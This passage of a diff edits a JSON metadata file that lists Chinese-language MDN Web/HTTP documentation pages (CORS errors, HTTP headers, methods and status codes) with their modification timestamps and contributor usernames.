"2020-10-15T21:55:00.550Z", "contributors": [ - "waka3", - "nchevobbe", - "luna666", - "Sheppy" + "zhangchen", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin": { - "modified": "2019-07-18T02:34:22.209Z", + "Web/HTTP/Headers/Large-Allocation": { + "modified": "2020-10-15T21:56:09.177Z", "contributors": [ - "PYGC", - "ty1921" + "wyapx", + "crper", + "shevacjs" ] }, - "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { - "modified": "2019-07-29T07:01:42.837Z", + "Web/HTTP/Headers/Last-Modified": { + "modified": "2020-10-15T21:55:00.234Z", "contributors": [ - "crvdgc", - "levo2165", - "luna666" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSDisabled": { - "modified": "2019-05-09T05:04:22.066Z", + "Web/HTTP/Headers/Link": { + "modified": "2020-10-15T22:20:52.111Z", "contributors": [ - "luna666" + "pangyujie" ] }, - "Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed": { - "modified": "2019-03-18T21:29:51.027Z", + "Web/HTTP/Headers/Location": { + "modified": "2020-10-15T21:54:51.524Z", "contributors": [ - "luna666" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSMethodNotFound": { - "modified": "2019-08-27T04:22:52.153Z", + "Web/HTTP/Headers/Origin": { + "modified": "2020-10-15T21:53:11.797Z", "contributors": [ - "laingke" + "JasonJunJun", + "yuankunzhang" ] }, - "Web/HTTP/CORS/Errors/CORSMissingAllowOrigin": { - "modified": "2019-03-18T21:22:06.783Z", + "Web/HTTP/Headers/Pragma": { + "modified": "2020-10-15T21:54:59.607Z", "contributors": [ - "zhangchen", - "coderyyx" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed": { - "modified": "2019-10-30T01:07:54.026Z", + "Web/HTTP/Headers/Proxy-Authenticate": { + "modified": "2019-03-23T22:10:44.148Z", "contributors": [ - "Fimreal" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSNotSupportingCredentials": { - "modified": "2019-06-16T23:37:59.140Z", + "Web/HTTP/Headers/Proxy-Authorization": { + "modified": "2019-03-23T22:10:44.333Z", "contributors": [ - "feiyuerenhai" + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded": { - "modified": "2019-03-18T21:29:48.470Z", + "Web/HTTP/Headers/Public-Key-Pins": { + "modified": "2020-10-15T21:55:02.367Z", "contributors": [ - "luna666" + "shevacjs", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed": { - "modified": "2019-03-18T21:17:44.250Z", + "Web/HTTP/Headers/Public-Key-Pins-Report-Only": { + "modified": "2020-10-15T22:04:11.647Z", "contributors": [ - "MinimalistYing" + "ujsxn", + "shevacjs" ] }, - "Web/HTTP/CORS/Errors/CORSRequestNotHttp": { - "modified": "2019-09-20T04:35:01.396Z", + "Web/HTTP/Headers/Range": { + "modified": "2020-10-15T21:54:38.123Z", "contributors": [ - "RainSlide", - "grape", - "xuyuehang", - "luna666" + "Meteormatt", + "WayneCui" ] }, - "Web/HTTP/CORS/Errors/CORS错误允许凭证": { - "modified": "2020-09-18T12:19:26.611Z", + "Web/HTTP/Headers/Referer": { + "modified": "2020-10-15T21:55:01.465Z", "contributors": [ - "Cooper-Kou" + "xiaozhaofu", + "yenshen", + "WayneCui" ] }, - "Web/HTTP/CSP": { - "modified": "2020-10-15T21:34:44.353Z", + "Web/HTTP/Headers/Referrer-Policy": { + "modified": "2020-10-15T21:54:58.993Z", "contributors": [ - "fanjieqi", - "phodal", - "ceido", - "jwhitlock", - "ldwformat", - "wang1dot0", - "WayneCui", - "xgqfrms-GitHub", - "zhang-quan-yi", - "hxl", - "zhi.lin", - "yuankunzhang", - "ziyunfei", - "Breezewish" + "gadflysu", + "WeihanLi", + "WayneCui" ] }, - "Web/HTTP/Caching_FAQ": { - "modified": "2020-07-01T23:23:40.319Z", + "Web/HTTP/Headers/Retry-After": { + "modified": "2020-10-15T21:54:59.380Z", "contributors": [ - "qnlz", - "xgqfrms", - "yqz0203", - "oppoffice", - "SAM.L", - "baijingfeng", - "YongzeYao", - "immortal-wm", - "YiBanCangBai", - "2585479524", - "fanjieqi", - "BobGreen", - "athena0304", - "dgeibi", - "cielsk", - "tianyuqingkong", - "xiaohp", - "tiancaiwuyue", - "hiyoushu", - "ch-zgh-1993", - "marsoln", - "wanglijie", - "xx1124961758", - "onedaywen", - "shengoo", - "sunnylost", - "followgiant", - "ziyunfei" + "WayneCui" ] }, - "Web/HTTP/Compression": { - "modified": "2019-06-20T00:32:44.768Z", + "Web/HTTP/Headers/Save-Data": { + "modified": "2020-10-15T22:21:57.010Z", "contributors": [ - "liangzhaorong", - "BobGreen", - "zhangchen", - "WayneCui" + "Mulan", + "fuxingZhang" ] }, - "Web/HTTP/Conditional_requests": { - "modified": "2019-09-19T06:11:16.911Z", + "Web/HTTP/Headers/Sec-Fetch-Dest": { + "modified": "2020-10-17T03:01:57.521Z", "contributors": [ - "leah_humlelu", - "Trendymen", - "xianweics", - "WayneCui" + "hebing0415", + "hellorayza" ] }, - "Web/HTTP/Configuring_servers_for_Ogg_media": { - "modified": "2019-12-27T03:08:09.838Z", + "Web/HTTP/Headers/Sec-Fetch-Mode": { + "modified": "2020-10-15T22:31:17.439Z", "contributors": [ - "Syaki" + "EbeRybDI", + "haolayo" ] }, - "Web/HTTP/Connection_management_in_HTTP_1.x": { - "modified": "2019-11-07T04:16:26.733Z", + "Web/HTTP/Headers/Sec-Fetch-Site": { + "modified": "2020-10-15T22:32:55.276Z", "contributors": [ - "woshiqiang1", - "Jack.Works", - "HardcorePhysician", - "jianglinghao", - "YiBanCangBai", - "guoshencheng", - "fanjieqi", - "athena0304", - "springapple", - "shaunlee" + "EbeRybDI" ] }, - "Web/HTTP/Content_negotiation": { - "modified": "2020-10-08T10:02:32.752Z", + "Web/HTTP/Headers/Sec-Fetch-User": { + "modified": "2020-10-15T22:32:45.194Z", "contributors": [ - "mh47838704", - "SunnyWind", - "lhc0101", - "WayneCui" + "EbeRybDI" ] }, - "Web/HTTP/Content_negotiation/Accept_默认值": { - "modified": "2019-03-18T21:35:18.474Z", + "Web/HTTP/Headers/Sec-WebSocket-Accept": { + "modified": "2020-10-15T22:11:54.497Z", "contributors": [ - "heekei" + "Greenstorm" ] }, - "Web/HTTP/Cookies": { - "modified": "2020-10-13T05:17:34.094Z", + "Web/HTTP/Headers/Server": { + "modified": "2020-10-15T21:54:58.617Z", "contributors": [ - "fzhyzamt", - "dake0805", - "RoXoM", - "ysqzhang", - "zh244135370", - "luvsunlight", - "mingzhang6", - "rascalquan", - "houyewei", - "huangyingjie", - "zihengCat", - "lc-soft", - "zhang-hongwei", "yenshen", - "keifergu", - "FideoJ", - "AlenQi", - "sintrb", - "jdk137", - "charlie" + "WayneCui" ] }, - "Web/HTTP/HTTP_Strict_Transport_Security": { - "modified": "2020-11-19T14:34:26.997Z", + "Web/HTTP/Headers/Server-Timing": { + "modified": "2020-10-15T22:22:26.582Z", "contributors": [ - "chrisdavidmills", - "sunbeams001", - "kidonng", - "Jack.Works", - "zhangzhen", - "ToBo", - "udo-china", - "zhangchen", - "little-tomorrow", - "Eward.song" + "Mulan", + "laingke" ] }, - "Web/HTTP/HTTP_response_codes": { - "modified": "2019-01-16T13:20:30.376Z", + "Web/HTTP/Headers/Set-Cookie": { + "modified": "2020-10-15T21:54:55.958Z", "contributors": [ - "ziyunfei" + "wenlonghuo", + "superATM", + "royIdoodle", + "WayneCui" ] }, - "Web/HTTP/Headers": { - "modified": "2020-05-20T02:33:50.716Z", + "Web/HTTP/Headers/Set-Cookie/SameSite": { + "modified": "2020-10-15T22:28:42.430Z", "contributors": [ - "spe-shun", - "cy234", - "c1er", - "Bayes", - "Jacksonary", - "rikkif", - "Weix", - "xgqfrms-GitHub", - "AlenQi", - "linzhixiong" + "EbeRybDI", + "tinaawang" ] }, - "Web/HTTP/Headers/Accept": { - "modified": "2020-10-15T21:50:50.340Z", + "Web/HTTP/Headers/Set-Cookie2": { + "modified": "2020-10-15T21:54:57.437Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "xgqfrms-GitHub", - "stevobm" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-CH": { - "modified": "2020-10-15T22:24:12.153Z", + "Web/HTTP/Headers/SourceMap": { + "modified": "2020-10-15T21:55:30.390Z", "contributors": [ - "xuhui98" + "Pada" ] }, - "Web/HTTP/Headers/Accept-CH-Lifetime": { - "modified": "2020-10-15T22:25:10.809Z", + "Web/HTTP/Headers/TE": { + "modified": "2020-10-15T21:54:38.379Z", "contributors": [ - "chen3feng" + "ujsxn", + "shevacjs", + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Charset": { - "modified": "2020-10-15T21:50:53.082Z", + "Web/HTTP/Headers/Timing-Allow-Origin": { + "modified": "2020-10-15T21:58:04.341Z", "contributors": [ - "shinken008", - "Dorllen", - "WayneCui", - "xgqfrms-GitHub" + "firesun", + "shevacjs" ] }, - "Web/HTTP/Headers/Accept-Encoding": { - "modified": "2020-10-15T21:53:10.909Z", + "Web/HTTP/Headers/Tk": { + "modified": "2019-03-23T22:07:59.446Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "felixwang-1989", - "yt449", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Language": { - "modified": "2020-10-15T21:53:13.880Z", + "Web/HTTP/Headers/Trailer": { + "modified": "2020-10-15T21:54:41.193Z", "contributors": [ - "ran", - "RainSlide", - "WayneCui", - "yuankunzhang" + "yuankunzhang", + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Patch": { - "modified": "2020-10-15T22:19:49.009Z", + "Web/HTTP/Headers/Transfer-Encoding": { + "modified": "2020-10-15T21:54:37.943Z", "contributors": [ - "Sod-Momas" + "WayneCui" ] }, - "Web/HTTP/Headers/Accept-Ranges": { - "modified": "2020-10-15T21:54:15.134Z", + "Web/HTTP/Headers/Upgrade-Insecure-Requests": { + "modified": "2020-10-15T21:55:00.901Z", "contributors": [ - "Vincent-Hy", - "km-c", - "JianmingXia", - "crper", - "shevacjs" + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Credentials": { - "modified": "2020-10-15T21:51:29.367Z", + "Web/HTTP/Headers/User-Agent": { + "modified": "2020-10-15T21:55:01.835Z", "contributors": [ - "deping_chen", - "Bayes", - "xiasha", - "fscholz", - "crper", - "keqingrong", - "TiaossuP", - "tty4" + "RainSlide", + "zidian257", + "wangshi3", + "qwqmeow", + "AaronGod", + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Headers": { - "modified": "2020-10-15T21:54:48.443Z", + "Web/HTTP/Headers/User-Agent/Firefox": { + "modified": "2019-03-18T21:31:55.000Z", "contributors": [ - "GuoYaxiang", - "shadowkimi520", - "Soyaine", - "WayneCui" + "RainSlide", + "konrumi" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Methods": { - "modified": "2020-10-15T21:54:49.842Z", + "Web/HTTP/Headers/Vary": { + "modified": "2020-10-15T21:53:14.511Z", + "contributors": [ + "swanf", + "WayneCui", + "ujsxn", + "newhuan" + ] + }, + "Web/HTTP/Headers/Via": { + "modified": "2020-10-15T21:54:55.047Z", "contributors": [ - "Jat", - "crper", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Allow-Origin": { - "modified": "2020-10-15T21:52:46.095Z", + "Web/HTTP/Headers/WWW-Authenticate": { + "modified": "2020-09-03T05:56:40.972Z", "contributors": [ - "TiaossuP", - "konrumi" + "EbeRybDI", + "zslucky" ] }, - "Web/HTTP/Headers/Access-Control-Expose-Headers": { - "modified": "2020-10-15T21:54:48.426Z", + "Web/HTTP/Headers/Warning": { + "modified": "2020-10-15T21:55:02.128Z", "contributors": [ - "lijsh", + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Max-Age": { - "modified": "2020-10-15T21:54:52.194Z", + "Web/HTTP/Headers/X-Content-Type-Options": { + "modified": "2020-10-15T21:54:52.946Z", "contributors": [ - "zkerhcy", - "xiaozhaofu", - "jinliming2", - "crper", + "kidonng", + "kbyyd24", "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Request-Headers": { - "modified": "2020-10-15T21:54:29.946Z", + "Web/HTTP/Headers/X-Forwarded-For": { + "modified": "2019-03-23T22:11:03.571Z", "contributors": [ - "xiaozhaofu", - "crper", - "WayneCui", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Access-Control-Request-Method": { - "modified": "2020-10-15T21:54:31.833Z", + "Web/HTTP/Headers/X-Forwarded-Host": { + "modified": "2019-03-23T22:10:57.844Z", "contributors": [ - "xiaozhaofu", - "WayneCui", - "xgqfrms-GitHub" + "WayneCui" ] }, - "Web/HTTP/Headers/Age": { - "modified": "2020-10-15T21:54:37.562Z", + "Web/HTTP/Headers/X-Forwarded-Proto": { + "modified": "2019-03-23T22:11:05.199Z", "contributors": [ - "wangtongchao", - "fscholz", - "crper", + "hbbalfred", "WayneCui" ] }, - "Web/HTTP/Headers/Allow": { - "modified": "2019-03-23T22:14:32.513Z", + "Web/HTTP/Headers/X-XSS-Protection": { + "modified": "2020-10-15T21:53:06.446Z", "contributors": [ - "yuankunzhang" + "weibangtuo", + "kidonng", + "yenshen", + "WayneCui", + "oopsguy", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Alt-Svc": { - "modified": "2020-10-15T22:12:25.895Z", + "Web/HTTP/Link_prefetching_FAQ": { + "modified": "2019-10-09T13:08:42.395Z", "contributors": [ - "liuhaoXD", - "Light.G" + "Yayure", + "vivaxy", + "iamyy", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Authorization": { - "modified": "2019-03-23T22:11:31.823Z", + "Web/HTTP/Messages": { + "modified": "2020-04-19T05:44:17.609Z", "contributors": [ - "Bayes", - "crper", - "WayneCui" + "liangmuyang", + "HardcorePhysician", + "keifergu", + "ziyunfei", + "gbcwbz", + "JsonLi" ] }, - "Web/HTTP/Headers/Cache-Control": { - "modified": "2020-10-15T21:50:34.341Z", + "Web/HTTP/Methods": { + "modified": "2020-10-15T21:49:13.002Z", "contributors": [ - "kidonng", - "woshiqiang1", - "DanielCui", - "taoyouh", - "tenghuanhe", - "ngulee", - "kaliExist", - "wangtongchao", - "marsorsun", - "cnc233", - "codevvvv9", - "pearzl", - "tianyuqingkong", - "zliy", - "NatureFeng", - "schickal", + "yzb161114", + "zhuangyin", + "xgqfrms-GitHub", "fscholz", - "shaunsxj", - "paranoidjk", - "visten" + "cissoid" ] }, - "Web/HTTP/Headers/Clear-Site-Data": { - "modified": "2020-10-15T22:07:13.779Z", + "Web/HTTP/Methods/CONNECT": { + "modified": "2020-10-15T21:55:02.299Z", "contributors": [ - "bershanskiy", - "wangtongchao" + "champkeh", + "WayneCui" ] }, - "Web/HTTP/Headers/Connection": { - "modified": "2020-10-15T21:51:42.086Z", + "Web/HTTP/Methods/DELETE": { + "modified": "2020-10-15T21:54:31.457Z", "contributors": [ - "zhuguibiao", - "ujsxn", - "shinyoo" + "fnjoe", + "yzweb2018", + "horsefaced", + "Ende93", + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Content-Disposition": { - "modified": "2020-11-15T00:23:13.412Z", + "Web/HTTP/Methods/GET": { + "modified": "2020-10-15T21:49:15.328Z", "contributors": [ - "Alan-Liang", - "xiaozhaofu", - "WayneCui", - "icaoweiwei", - "JavacPro" + "joy-yu", + "Ende93", + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Encoding": { - "modified": "2020-10-15T21:54:51.398Z", + "Web/HTTP/Methods/HEAD": { + "modified": "2020-10-15T21:49:15.693Z", "contributors": [ - "DynamicAnt", - "WayneCui" + "liveabean", + "iugo", + "fscholz", + "horsefaced", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Language": { - "modified": "2020-10-15T21:54:49.923Z", + "Web/HTTP/Methods/OPTIONS": { + "modified": "2020-10-15T21:53:13.191Z", "contributors": [ - "HankXu", - "yuantongkang", - "WayneCui" + "safarishi", + "yuankunzhang" ] }, - "Web/HTTP/Headers/Content-Length": { - "modified": "2020-10-15T21:54:51.554Z", + "Web/HTTP/Methods/PATCH": { + "modified": "2019-03-23T22:11:06.658Z", "contributors": [ - "rascalquan", + "Ende93", "WayneCui" ] }, - "Web/HTTP/Headers/Content-Location": { - "modified": "2020-10-15T21:54:51.676Z", + "Web/HTTP/Methods/POST": { + "modified": "2020-10-15T21:49:12.507Z", "contributors": [ - "WayneCui" + "weapon-x", + "cracdic", + "wangtongchao", + "mySoul", + "shellphon", + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Range": { - "modified": "2020-10-15T21:54:39.510Z", + "Web/HTTP/Methods/PUT": { + "modified": "2020-10-15T21:54:38.885Z", "contributors": [ + "lnh", + "maicss", "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy": { - "modified": "2020-10-15T21:51:40.481Z", + "Web/HTTP/Methods/TRACE": { + "modified": "2020-10-15T22:06:09.943Z", "contributors": [ - "xiao11lang", - "hq5544", - "SphinxKnight", - "lowerpierman", - "taoyouh", - "imba-tjd", - "lvgg3271", - "alan199355", - "anchen", - "9ii", - "Forbidden", - "crper", - "lcw0622", - "SuunZhu" + "chenaptx", + "fs523577192", + "ppphp" ] }, - "Web/HTTP/Headers/Content-Security-Policy-Report-Only": { - "modified": "2020-10-15T21:55:30.073Z", + "Web/HTTP/Overview": { + "modified": "2020-11-10T09:12:40.960Z", "contributors": [ - "Pada" + "pocketdr", + "bkuke", + "hehe1111", + "Umryuan", + "yuyuanqiu", + "psaren", + "wakaoniganma", + "BobGreen", + "hiyoushu", + "LuoYun", + "RayJune", + "Akiq2016", + "zihengCat", + "usernameisMan", + "Ende93", + "w11th", + "joezheng", + "MagicLee" ] }, - "Web/HTTP/Headers/Content-Security-Policy/base-uri": { - "modified": "2020-10-15T21:56:06.256Z", + "Web/HTTP/Protocol_upgrade_mechanism": { + "modified": "2020-11-12T12:36:28.458Z", "contributors": [ - "SphinxKnight", - "WayneCui" + "yan647", + "Xiaosha61", + "mayunmeiyouming", + "nientsu", + "raunyuyuan", + "wc5858" ] }, - "Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content": { - "modified": "2020-10-15T21:56:06.231Z", + "Web/HTTP/Proxy_servers_and_tunneling": { + "modified": "2020-08-19T02:44:17.258Z", "contributors": [ - "SphinxKnight", - "WayneCui" + "SunnyWind", + "0229xiang", + "teoli" ] }, - "Web/HTTP/Headers/Content-Security-Policy/child-src": { - "modified": "2020-10-15T22:22:07.630Z", + "Web/HTTP/Public_Key_Pinning": { + "modified": "2020-10-15T22:15:40.587Z", "contributors": [ - "SphinxKnight", - "1930082875" + "Yayure" ] }, - "Web/HTTP/Headers/Content-Security-Policy/connect-src": { - "modified": "2020-10-15T22:04:24.950Z", + "Web/HTTP/Range_requests": { + "modified": "2019-03-23T22:10:18.914Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "huangtt", + "heyv5", + "warmilk", + "asurin", + "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy/default-src": { - "modified": "2020-10-15T21:55:35.542Z", + "Web/HTTP/Redirections": { + "modified": "2020-06-22T12:27:42.624Z", "contributors": [ - "SphinxKnight", - "eachcan", + "RoXoM", + "BobGreen", "shevacjs", - "Forbidden", + "yenshen", "WayneCui", - "EEord" + "ziyunfei", + "mushang11", + "zhi.lin", + "ZhongyiChen" ] }, - "Web/HTTP/Headers/Content-Security-Policy/font-src": { - "modified": "2020-10-15T22:11:53.390Z", + "Web/HTTP/Resources_and_URIs": { + "modified": "2019-09-05T00:27:21.660Z", "contributors": [ - "SphinxKnight", - "eachcan" + "ran" ] }, - "Web/HTTP/Headers/Content-Security-Policy/form-action": { - "modified": "2020-10-15T22:20:11.267Z", + "Web/HTTP/Resources_and_specifications": { + "modified": "2019-03-23T22:14:32.179Z", "contributors": [ - "SphinxKnight", - "feiyuerenhai" + "ppphp", + "shevacjs", + "yuankunzhang" ] }, - "Web/HTTP/Headers/Content-Security-Policy/frame-ancestors": { - "modified": "2020-10-15T21:56:28.759Z", + "Web/HTTP/Session": { + "modified": "2019-08-30T04:49:50.525Z", "contributors": [ - "SphinxKnight", - "ldwformat" + "HardcorePhysician", + "2585479524", + "zihengCat", + "zhuangyin", + "keifergu", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Security-Policy/report-to": { - "modified": "2020-10-15T22:04:25.324Z", + "Web/HTTP/Status": { + "modified": "2020-10-15T21:47:25.564Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "kendalbaba8", + "sideshowbarker", + "lesikolerina23", + "bifan", + "zhongjunyao", + "cznno", + "skylinebin", + "Opportunity", + "sluggishpj", + "Riverside", + "NowTime", + "konantian", + "PWAEZQS", + "corele", + "x1zbin", + "Zeng", + "teaist", + "zhuangyin", + "change-hdb", + "Geniusning", + "fscholz", + "fuchao2012" ] }, - "Web/HTTP/Headers/Content-Security-Policy/require-sri-for": { - "modified": "2020-10-15T22:04:29.993Z", + "Web/HTTP/Status/100": { + "modified": "2020-10-15T21:49:13.185Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "fscholz", + "cissoid" ] }, - "Web/HTTP/Headers/Content-Security-Policy/sandbox": { - "modified": "2020-10-15T22:18:49.969Z", + "Web/HTTP/Status/101": { + "modified": "2020-07-28T20:14:16.827Z", "contributors": [ - "SphinxKnight", - "Syclover-u2400" + "rockhamx", + "xiazhe", + "WayneCui" ] }, - "Web/HTTP/Headers/Content-Security-Policy/script-src-elem": { - "modified": "2020-10-15T22:32:24.500Z", + "Web/HTTP/Status/103": { + "modified": "2020-10-15T22:20:13.143Z", "contributors": [ - "davidguhao" + "TsingJyujing" ] }, - "Web/HTTP/Headers/Content-Security-Policy/upgrade-insecure-requests": { - "modified": "2020-10-15T22:04:14.644Z", + "Web/HTTP/Status/200": { + "modified": "2020-10-15T21:52:50.809Z", "contributors": [ - "SphinxKnight", - "shevacjs" + "Yang_Hanlin", + "Limbo1223", + "yenshen", + "doterlin", + "mojiajuzi" ] }, - "Web/HTTP/Headers/Content-Security-Policy/worker-src": { - "modified": "2020-10-15T22:30:56.058Z", - "contributors": [ - "oyyunttt" - ] - }, - "Web/HTTP/Headers/Content-Type": { - "modified": "2020-10-15T21:50:48.235Z", - "contributors": [ - "ZL1019", - "kadoufall", - "WayneCui", - "xgqfrms-GitHub", - "wanhh" - ] - }, - "Web/HTTP/Headers/Cookie": { - "modified": "2020-10-15T21:54:53.599Z", + "Web/HTTP/Status/201": { + "modified": "2020-10-15T21:54:40.492Z", "contributors": [ + "Dante_Zzzz", "WayneCui" ] }, - "Web/HTTP/Headers/Cookie2": { - "modified": "2020-10-15T21:54:52.521Z", + "Web/HTTP/Status/202": { + "modified": "2019-03-23T22:10:36.745Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Cross-Origin-Embedder-Policy": { - "modified": "2020-10-15T22:33:37.678Z", + "Web/HTTP/Status/203": { + "modified": "2019-03-23T22:10:30.257Z", "contributors": [ - "jguo0118", - "hellorayza" + "WayneCui" ] }, - "Web/HTTP/Headers/Cross-Origin-Resource-Policy": { - "modified": "2020-10-15T22:17:29.651Z", + "Web/HTTP/Status/204": { + "modified": "2020-10-15T21:51:39.388Z", "contributors": [ - "NightKing_hmsf" + "xgqfrms", + "WayneCui", + "fscholz", + "abc950309" ] }, - "Web/HTTP/Headers/DNT": { - "modified": "2020-10-15T21:54:53.651Z", + "Web/HTTP/Status/205": { + "modified": "2019-03-23T22:10:24.312Z", "contributors": [ - "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/DPR": { - "modified": "2020-10-15T22:25:12.812Z", + "Web/HTTP/Status/206": { + "modified": "2020-10-15T21:54:17.456Z", "contributors": [ - "zhangchen", - "charles-debug" + "WayneCui", + "xgqfrms-GitHub" ] }, - "Web/HTTP/Headers/Date": { - "modified": "2020-10-15T21:54:52.166Z", + "Web/HTTP/Status/300": { + "modified": "2019-03-23T22:10:32.313Z", "contributors": [ - "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Device-Memory": { - "modified": "2020-10-15T22:27:14.967Z", - "contributors": [ - "csliubo" - ] - }, - "Web/HTTP/Headers/Digest": { - "modified": "2020-10-15T22:22:30.332Z", + "Web/HTTP/Status/301": { + "modified": "2020-10-15T21:53:56.245Z", "contributors": [ - "Mulan" + "WayneCui", + "dyllen", + "ujsxn" ] }, - "Web/HTTP/Headers/ETag": { - "modified": "2020-10-15T21:54:16.091Z", + "Web/HTTP/Status/302": { + "modified": "2020-10-15T21:52:41.868Z", "contributors": [ - "Opportunity", - "zhangchen", - "LeoQuote", - "qihaiyan", - "Mdxin", + "juzhiyuan", "WayneCui", - "luckymore" + "ziyunfei", + "ujsxn", + "07akioni" ] }, - "Web/HTTP/Headers/Early-Data": { - "modified": "2020-10-15T22:10:58.660Z", + "Web/HTTP/Status/303": { + "modified": "2020-10-15T21:53:57.078Z", "contributors": [ - "Greenstorm", - "TUARAN" + "ADTC", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Expect": { - "modified": "2019-03-23T22:11:24.440Z", + "Web/HTTP/Status/304": { + "modified": "2020-10-15T21:53:56.017Z", "contributors": [ - "WayneCui" + "MinimalistYing", + "piaoyuliang", + "maicss", + "ujsxn" ] }, - "Web/HTTP/Headers/Expect-CT": { - "modified": "2020-10-15T22:03:02.147Z", + "Web/HTTP/Status/307": { + "modified": "2020-10-15T21:53:56.226Z", "contributors": [ - "ariable" + "RainSlide", + "qwertyuiop6", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Expires": { - "modified": "2020-10-15T21:50:45.740Z", + "Web/HTTP/Status/308": { + "modified": "2020-10-15T21:53:56.251Z", "contributors": [ - "stuxu", - "Fiag", - "marsorsun", - "sunyanan891114", - "Simba.Lin", - "paranoidjk" + "迷子碳", + "WayneCui", + "ujsxn" ] }, - "Web/HTTP/Headers/Feature-Policy": { - "modified": "2020-10-15T22:18:06.274Z", + "Web/HTTP/Status/400": { + "modified": "2019-03-23T22:14:37.056Z", "contributors": [ - "roostinghawk" + "WayneCui", + "zsirfs" ] }, - "Web/HTTP/Headers/Feature-Policy/autoplay": { - "modified": "2020-10-15T22:18:28.072Z", + "Web/HTTP/Status/401": { + "modified": "2020-10-15T21:55:04.907Z", "contributors": [ - "baijingfeng" + "WayneCui" ] }, - "Web/HTTP/Headers/Feature-Policy/camera": { - "modified": "2020-10-15T22:26:24.357Z", + "Web/HTTP/Status/402": { + "modified": "2020-10-15T22:21:27.856Z", "contributors": [ - "K.Pen" + "SphinxKnight", + "Craster", + "AlphaGir", + "youngseaz" ] }, - "Web/HTTP/Headers/Forwarded": { - "modified": "2019-03-23T22:11:01.048Z", + "Web/HTTP/Status/403": { + "modified": "2020-10-15T21:55:04.765Z", "contributors": [ - "ujsxn", + "bobo.debila", + "iSakuraNyan", "WayneCui" ] }, - "Web/HTTP/Headers/From": { - "modified": "2020-10-15T21:54:57.725Z", + "Web/HTTP/Status/404": { + "modified": "2020-10-15T21:55:04.823Z", "contributors": [ - "LiquidLiquids", + "bobo.debila", + "yenshen", "WayneCui" ] }, - "Web/HTTP/Headers/Host": { - "modified": "2020-10-15T21:51:42.418Z", - "contributors": [ - "xinu", - "chentao106", - "wallen", - "crper", - "shinyoo" - ] - }, - "Web/HTTP/Headers/If-Match": { - "modified": "2020-10-15T21:55:00.013Z", + "Web/HTTP/Status/405": { + "modified": "2020-09-29T09:31:27.183Z", "contributors": [ - "ShiChenCong", - "Bayes", - "WayneCui" + "wonerlilo", + "sideshowbarker", + "lesikolerina23", + "nicholascw", + "yuankunzhang" ] }, - "Web/HTTP/Headers/If-Modified-Since": { - "modified": "2020-10-15T21:55:01.333Z", + "Web/HTTP/Status/406": { + "modified": "2020-10-15T21:54:36.544Z", "contributors": [ - "wangtongchao", "WayneCui" ] }, - "Web/HTTP/Headers/If-None-Match": { - "modified": "2020-10-15T21:54:59.997Z", + "Web/HTTP/Status/407": { + "modified": "2020-10-15T21:55:05.803Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/If-Range": { - "modified": "2020-10-15T21:51:54.830Z", - "contributors": [ - "Froguard", - "LiuTong" - ] - }, - "Web/HTTP/Headers/If-Unmodified-Since": { - "modified": "2020-10-15T21:54:37.820Z", + "Web/HTTP/Status/408": { + "modified": "2019-03-23T22:10:32.195Z", "contributors": [ + "Juanni", "WayneCui" ] }, - "Web/HTTP/Headers/Index": { - "modified": "2019-08-30T03:36:19.849Z", - "contributors": [ - "whuhyw" - ] - }, - "Web/HTTP/Headers/Keep-Alive": { - "modified": "2020-10-15T21:55:00.550Z", + "Web/HTTP/Status/409": { + "modified": "2019-03-23T22:10:22.894Z", "contributors": [ - "zhangchen", + "liaozhaonan", "WayneCui" ] }, - "Web/HTTP/Headers/Large-Allocation": { - "modified": "2020-10-15T21:56:09.177Z", + "Web/HTTP/Status/410": { + "modified": "2020-10-15T21:53:57.979Z", "contributors": [ - "wyapx", - "crper", - "shevacjs" + "yyz940922", + "ujsxn" ] }, - "Web/HTTP/Headers/Last-Modified": { - "modified": "2020-10-15T21:55:00.234Z", + "Web/HTTP/Status/411": { + "modified": "2019-03-23T22:10:31.298Z", "contributors": [ "WayneCui" ] }, - "Web/HTTP/Headers/Link": { - "modified": "2020-10-15T22:20:52.111Z", + "Web/HTTP/Status/412": { + "modified": "2020-10-15T21:53:03.480Z", "contributors": [ - "pangyujie" + 